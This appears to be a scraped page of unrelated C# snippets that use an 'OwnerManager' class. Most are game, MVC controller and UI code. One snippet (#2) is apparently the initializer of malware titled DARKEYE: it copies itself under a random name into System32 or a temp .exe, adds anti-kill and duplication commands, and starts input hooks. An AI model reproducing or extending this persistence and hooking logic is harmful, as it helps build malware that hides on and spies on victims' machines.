private void OnCollisionEnter(Collision collision)
    {
        Debug.Log("Boum:" + collision.gameObject.name, collision.gameObject);

        SynchPlayerInfo playerInfo = collision.transform.GetComponent <SynchPlayerInfo>();

        if (playerInfo != null)
        {
            Debug.Log("HIT !!");
            SpawnPoint.Reposition(playerInfo.transform);

            OwnerManager owner = transform.GetComponent <OwnerManager>();
            if (owner)
            {
                Debug.Log("Winner " + owner._playerInfo._pseudo);
            }
        }

        for (int i = 0; i < _prefabEffectToCreated.Length; i++)
        {
            GameObject obj = Instantiate(_prefabEffectToCreated[i], collision.contacts[0].point, Quaternion.identity);
            Destroy(obj, _destructionTime);
        }
        Destroy(this.gameObject);
    }
示例#2
0
        private static void Initialize(String[] args)
        {
            try
            {
                globalLog = new Log(null);
                globalLog.AddLog("Connected");

                Protection.Initialize();

                commandManager   = new CommandManager();
                duplicateManager = new DuplicateManager(Utils.Utils.IsAdmin ?
                                                        Utils.Utils.GetRandomFileNameFromDirectory("C:\\Windows\\System32") :
                                                        (Path.GetTempPath() + Utils.Utils.GetRandomString(6) + ".exe"));
                ownerManager  = new OwnerManager();
                dataManager   = new DataManager();
                windowManager = new WindowManager();
                lineManager   = new LineManager();
                hookManager   = new HookManager();

                commandManager.registerCommand("-duplicate");
                commandManager.registerCommand("-antikill");
                commandManager.registerCommand("-debug");
                ownerManager.registerOwner(dataManager.ownerData);

                commandManager.Init(args);
                duplicateManager.Init();
                windowManager.Init();

                Streams.Initialize();

                globalLog.DispathContent();
                hookManager.Init();
            }
            catch (Exception ex) { WriteUtils.writeError(DARKEYE_TITLE + ": " + ex.Message); }
        }
示例#3
0
        private static object syncRoot = new Object();         ///< 멀티쓰레드환경에서 동기화 문제를 해결하기 위한 변수

        /**
         * @brief
         * 필요한 객체를 생성하는 생성자.
         */
        private FrontManager()
        {
            ownerManagers = new OwnerManager[(int)NETWORK_MODULE.NETWORK_MODULE_COUNT];
            ownerManagers[(int)NETWORK_MODULE.NETWORK_MODULE_LOBBY]  = new OwnerManager(300000);
            ownerManagers[(int)NETWORK_MODULE.NETWORK_MODULE_GAME]   = new OwnerManager(300000);
            ownerManagers[(int)NETWORK_MODULE.NETWORK_MODULE_CLIENT] = new FrontUserManager(300000);
        }
示例#4
0
    public void AssociateTo(GameObject target)
    {
        Debug.Log("Hey mon ami");
        OwnerManager owner = target.AddComponent <OwnerManager>();

        owner._playerInfo = _playerInfo;
    }
示例#5
0
 public OwnerController(
     OwnerManager ownerManager,
     AdManager adManager,
     IHttpContextAccessor httpContextAccessor) : base(httpContextAccessor)
 {
     this.ownerManager = ownerManager;
     this.adManager    = adManager;
 }
示例#6
0
        public ActionResult ManageEnterpriseAdding(Enterprise enterprise, HttpPostedFileBase imageUpload)
        {
            var owner = OwnerManager.DefineOwner(HttpContext);

            enterprise.OwnerId = owner.Id;
            var result = EnterpriseManager.AddEnterprise(enterprise, imageUpload);

            return(RedirectToAction("AddEnterprise", new { id = result.Id }));
        }
示例#7
0
        public ActionResult Enterprises()
        {
            if (!ExistsOwner())
            {
                return(RedirectToAction("LogIn", "Owner"));
            }
            var curOwner = OwnerManager.DefineOwner(HttpContext);

            return(View(curOwner));
        }
        //private ReservationManager reservationManager;
        #endregion PROPERTIES


        #region CONSTRUCTOR
        public RestaurantController()
        {
            this.restaurantManager = new RestaurantManager();
            this.serviceManager    = new ServiceManager();
            this.priceListManager  = new PriceListManager();
            this.ownerManager      = new OwnerManager();
            this.addressManager    = new AddressManager();
            this.employeeManager   = new EmployeeManager();
            this.foodTypeManager   = new FoodTypeManager();
            //this.reservationManager = new ReservationManager();
        }
示例#9
0
        public ActionResult ManageRegistration(Owner owner,
                                               HttpPostedFileBase imageUpload,
                                               string ConfirmPassword)
        {
            if (owner.Password != ConfirmPassword)
            {
                return(null);
            }
            var result = OwnerManager.RegistrateOwner(HttpContext, owner, imageUpload);

            return(RedirectToAction("Registrate", new { id = result.Id }));
        }
 public RestoBookService()
 {
     this.restaurantManager      = new RestaurantManager();
     this.ownerManager           = new OwnerManager();
     this.employeeManager        = new EmployeeManager();
     this.serviceManager         = new ServiceManager();
     this.priceListManager       = new PriceListManager();
     this.foodTypeManager        = new FoodTypeManager();
     this.addressManager         = new AddressManager();
     this.lightRestaurantManager = new LightRestaurantManager();
     this.reservationManager     = new ReservationManager();
     this.customerManager        = new CustomerManager();
 }
示例#11
0
 public ActionResult Create(Owner owner)
 {
     try
     {
         //call the OwnerManager to ADD
         OwnerManager.Add(owner);
         return(RedirectToAction(nameof(Index)));
     }
     catch
     {
         return(View());
     }
 }
示例#12
0
 public ActionResult Edit(Owner owner)
 {
     try
     {
         //call the OwnerManager to EDIT
         OwnerManager.Update(owner);
         return(RedirectToAction(nameof(Index)));
     }
     catch
     {
         return(View());
     }
 }
示例#13
0
        public ActionResult ManageLogIn(string email, string password)
        {
            Owner owner;
            var   result = OwnerManager.LogIn(email, password, out owner);

            if (result == ProcessResults.SuccessfullyLoggedIn)
            {
                string hashedKey = SecurityManager.GetHashString(owner.BirthDay + owner.FirstName + owner.Email);
                SetOwner(hashedKey);
                return(RedirectToAction("Index", "Dashboard"));
            }

            return(RedirectToAction("LogIn", new { id = result.Id }));
        }
        public IActionResult Create()
        {
            // call the owner manager and get the collection of key value objects
            var owner = OwnerManager.GetAsKEyValuePairs();
            // create a collection of SelectListItems
            var list = new SelectList(owner, "Value", "Text");

            ViewBag.OwnerId = list;

            //// create the collection of property types select list items
            //var types = PropertyTypeManager.GetAsKEyValuePairs();
            //var styles = new SelectList(types, "Value", "Text");
            ViewBag.PropertyTypeId = GetPropertyTypes();


            // return views
            return(View());
        }
        public JsonResult UserInfo()
        {
            if (!ExistsOwner())
            {
                Response.StatusCode = (int)HttpStatusCode.MethodNotAllowed;
                return(null);
            }

            var owner = OwnerManager.DefineOwner(HttpContext);

            return(Json(new
            {
                owner.LastName,
                owner.FirstName,
                owner.MiddleName,
                Birthday = owner.BirthDay.ToShortDateString(),
                owner.Email,
                owner.PicturePath
            }));
        }
        public JsonResult GetEnterprises()
        {
            if (!ExistsOwner())
            {
                Response.StatusCode = (int)HttpStatusCode.MethodNotAllowed;
                return(null);
            }

            var owner       = OwnerManager.DefineOwner(HttpContext);
            var enterprises = owner.Enterprises.ToList();

            Response.StatusCode = (int)HttpStatusCode.OK;

            return(Json(enterprises.Select(ent => new
            {
                ent.Id,
                ent.Title,
                ent.Balance,
                ent.Type,
                ent.Description,
                ent.LogoPath
            })));
        }
        public JsonResult GetTopProducts()
        {
            if (!ExistsOwner())
            {
                Response.StatusCode = (int)HttpStatusCode.MethodNotAllowed;
                return(null);
            }

            var owner    = OwnerManager.DefineOwner(HttpContext);
            var products = from ent in owner.Enterprises
                           from product in ent.Products
                           select product;

            var rnd = new Random(Environment.TickCount);

            return(Json(products.Select(x => new
            {
                x.Name,
                x.Price,
                x.PicturePath,
                x.Amount,
                ordersCount = rnd.Next(30, 100)
            }).OrderBy(x => - x.ordersCount)));
        }
示例#18
0
 protected bool ExistsOwner()
 {
     return(OwnerManager.DefineOwner(HttpContext) != null);
 }
示例#19
0
        // GET: OwnerController/Edit/5
        public ActionResult Edit(int id)
        {
            var owner = OwnerManager.Find(id);

            return(View(owner));
        }
示例#20
0
        // GET: OwnerController
        public ActionResult Index()
        {
            var owners = OwnerManager.GetAll();

            return(View(owners));
        }
 public OwnerResendController(OwnerManager ownerManager)
 {
     this.ownerManager = ownerManager;
 }
示例#22
0
        public ActionResult Confirm(string hash)
        {
            ProcessResult pr = OwnerManager.ConfirmRegistration(hash);

            return(RedirectToAction("Dashboard", "Index", new { id = pr.Id }));
        }
示例#23
0
 public IActionResult Edit(Owner owner)
 {
     OwnerManager.Update(owner);
     return(RedirectToAction(nameof(Index)));
 }
示例#24
0
 public ModelFactory(HttpRequestMessage request, OwnerManager appUserManager)
 {
     _UrlHelper = new UrlHelper(request);
     _ownerManager = appUserManager;
 }
示例#25
0
 public RedefinePasswordController(
     OwnerManager ownerManager,
     IHttpContextAccessor httpContextAccessor) : base(httpContextAccessor)
 {
     this.ownerManager = ownerManager;
 }
示例#26
0
        //public LoginController(
        //    IEmailService emailService,
        //    IConfiguration configuration,
        //    IAppSettings settings)
        //{
        //    ownerManager = new OwnerManager(emailService, configuration, settings);
        //}

        public LoginController(OwnerManager ownerManager)
        {
            this.ownerManager = ownerManager;
        }
示例#27
0
        // -----------------------------------------------------------------------------------------------------------------------
        public override void Visualize(bool Show = true, bool OnlyAdornAsSelected = false)
        {
            // Validate that the Adorner still points something.
            // Else, maybe an "Undo" was performed, so the Represented-Idea may not exist anymore.
            if (ManipulatedSymbol == null || ManipulatedSymbol.OwnerRepresentation == null)
            {
                if (ManipulatedSymbol != null)
                {
                    OwnerManager.RemoveAdorners();
                }

                OwnerManager.OwnerView.UnselectAllObjects();

                return;
            }

            var WorkingHeadingRectangle = ManipulatingHeadingRectangle;

            if (ManipulatedSymbol.IsHidden)
            {
                if (ManipulatedSymbol.CanShowNameOverCenter ||
                    ManipulatedSymbol.CanShowDefinitionOverTop)
                {
                    WorkingHeadingRectangle = ManipulatingHeadingLabel;
                }
                else
                {
                    return; // Because this is "hidden" (or shown too little to be noticed by user).
                }
            }
            // Reset previous drawn indicators
            ClearAllIndicators();

            if (!Show)
            {
                return;
            }

            // Show every other selected objects
            VisualizeOtherAffectedObjects();

            // Determine pointing areas
            var PointingHeadingArea = new Rect(WorkingHeadingRectangle.X - VisualSymbol.INDICATOR_SIZE / 2.0, WorkingHeadingRectangle.Y - VisualSymbol.INDICATOR_SIZE / 2.0,
                                               WorkingHeadingRectangle.Width + VisualSymbol.INDICATOR_SIZE, WorkingHeadingRectangle.Height + VisualSymbol.INDICATOR_SIZE);

            var PointingDetailsArea = new Rect(ManipulatingDetailsRectangle.X - VisualSymbol.INDICATOR_SIZE / 2.0, ManipulatingDetailsRectangle.Y - VisualSymbol.INDICATOR_SIZE / 2.0,
                                               ManipulatingDetailsRectangle.Width + VisualSymbol.INDICATOR_SIZE, ManipulatingDetailsRectangle.Height + VisualSymbol.INDICATOR_SIZE);

            /*T var PointingHeadingArea = WorkingHeadingRectangle;
             * var PointingDetailsArea = this.ManipulatingDetailsRectangle; */

            // Start drawings creation
            var DrwFrmPointingHeadingPanel = new DrawingGroup
            {
                Opacity = FrmOpacity
            };

            DrwFrmPointingHeadingPanel.Children.Add(new GeometryDrawing(FrmStroke, FrmPencil, new RectangleGeometry(PointingHeadingArea)));

            //-? if (this.ManipulatedSymbol.CanShowDefinitionOverTop || this.ManipulatedSymbol.CanShowNameOverCenter)
            // DrwFrmPointingHeadingPanel.Children.Add(new GeometryDrawing(this.FrmStroke, this.FrmPencil, new RectangleGeometry(this.ManipulatedSymbol.LabelingArea)));

            FrmPointingHeadingPanel = DrwFrmPointingHeadingPanel.RenderToDrawingVisual();
            Indicators.Add(FrmPointingHeadingPanel);

            // IMPORTANT: The Details related indicators MUST BE CREATED in order to not be mismatched with null in later evaluations
            var DrwFrmPointingDetailsPanel = new DrawingGroup
            {
                Opacity = DrwFrmPointingHeadingPanel.Opacity
            };

            DrwFrmPointingDetailsPanel.Children.Add(new GeometryDrawing(FrmStroke, FrmPencil, new RectangleGeometry(PointingDetailsArea)));
            FrmPointingDetailsPanel = DrwFrmPointingDetailsPanel.RenderToDrawingVisual();

            if (ManipulatedSymbol.AreDetailsShown)
            {
                Indicators.Add(FrmPointingDetailsPanel);
            }

            if (!OnlyAdornAsSelected && WorkingHeadingRectangle.Width >= EDITAREA_MIN_WIDTH &&
                WorkingHeadingRectangle.Height >= EDITAREA_MIN_HEIGHT)
            {
                var DrwFrmEditPanel = new DrawingGroup
                {
                    Opacity = FrmOpacityEdit
                };

                var EditingArea = new Rect(WorkingHeadingRectangle.X + WorkingHeadingRectangle.Width * 0.25,
                                           WorkingHeadingRectangle.Y + WorkingHeadingRectangle.Height * 0.25,
                                           WorkingHeadingRectangle.Width * 0.5,
                                           WorkingHeadingRectangle.Height * 0.5);

                DrwFrmEditPanel.Children.Add(new GeometryDrawing(FrmStrokeEdit, FrmPencil, new RectangleGeometry(EditingArea)));
                FrmEditZone = DrwFrmEditPanel.RenderToDrawingVisual();
                Indicators.Add(FrmEditZone);
                ExclusivePointingIndicators.Add(FrmEditZone);
            }

            if (!ManipulatedSymbol.IsHidden)
            {
                CreateActioners(OnlyAdornAsSelected, PointingHeadingArea, WorkingHeadingRectangle);

                CreateSelectionIndicators();
            }

            // Needed in order to show this adorner's indicators on top of a potentially selected visual element
            RefreshAdorner();
        }
示例#28
0
 public IActionResult Create(Owner owner)
 {
     OwnerManager.Add(owner);
     return(RedirectToAction(nameof(Index)));
 }
示例#29
0
        public IActionResult Index(int a, int b, int c)
        {
            var owners = OwnerManager.GetAll();

            return(View(owners));
        }
 public OwnerConfirmationController(OwnerManager ownerManager)
 {
     this.ownerManager = ownerManager;
 }